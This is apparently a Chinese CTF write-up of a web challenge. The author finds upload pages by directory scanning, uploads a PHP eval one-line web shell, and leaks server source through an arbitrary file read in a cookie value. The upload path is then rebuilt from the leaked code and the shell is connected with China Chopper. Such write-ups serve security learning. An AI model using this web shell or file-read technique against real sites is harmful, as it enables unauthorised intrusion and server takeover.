这道题也是借助大佬的帮助才成功,具体我们来看:
既然人家扫描发现后台目录有文件上传,我们也不能落后,顺便拿出了传说中的御剑,并进行一波扫描:
发现了几个比较有用的目录,特别是upload1.php跟upload2.php两个上传页面
我们先来访问upload1.php:
点击确定后是upload2.php,竟然是一片空白
不过中间好像有个上传的页面一闪而过,我们用burp抓包,来一页一页看页面
果然有这个页面,但是抓包的cookie引起了我们的注意:
Cookie: uploadmd5=verify%2F5a9300926f7fc020.txt
我们查看源代码:
竟然还有一个隐藏的提交表单
<input type="hidden" name="verify" value="5a9300926f7fc020"/>
我们解码这个 : 5a9300926f7fc020 -----> 结果是 : 1524990922
感觉好像跟题目没有一点关系的好吧
但是我们又突然发现它是以 .txt 结尾的,这是不是会存在任意文件读取漏洞,我们稍后尝试,我们进行下一步上传
我们直接构造 1.php 内容为 <?php @eval($_POST["joker"]);?> 进行上传
太棒了,我们直接用菜刀链接,等等,上传路径去哪里了......
分析数据包可能是upload_file.php....我们访问试一下
mmp,什么鬼....就卡了好久好久...
突然想到还有一个可能包含任意文件读取的点,我们重新抓包
把 verify%2F5a9300926f7fc020 ------> upload_file.php
激动啊,我竟然看到了源代码,我们记录下来
<?php $path="uploadfile/";//上传路径 $verify=$_POST["verify"]; $time=date("Ymd"); if($_FILES["filename"]["name"]) { $file1=$_FILES["filename"]["name"]; $file2 = $path.$time.'_'.$verify.'_'.$file1; $flag=1; } if($flag) $result=move_uploaded_file($_FILES["filename"]["tmp_name"],$file2); if($result) echo "上传成功!"; ?>
发现包含了上传路径!!!good!!!
$result=move_uploaded_file($_FILES["filename"]["tmp_name"],$file2);
关键在这一句,$file2 可能保存的就是文件的上传路径
$file2 = $path.$time.'_'.$verify.'_'.$file1;
其中: $path="uploadfile/"
$verify=$_POST["verify"]; 我想到了那个隐藏的提交表单,其中value="5a9300926f7fc020"
$time=date("Ymd"); Ymd不就年月日,那今天就是20180429
这样一来上传的路径不就是 admin/uploadfile/20180429_5a9300926f7fc020_1.php
我们访问,并用菜刀链接:
后来才发现还有upload.php,御剑估计老了,我们用任意代码的漏洞查看
竟然是cookie的生成过程,哈哈哈
到此为止,掌握方法,顺便告诉我们cookie的重要性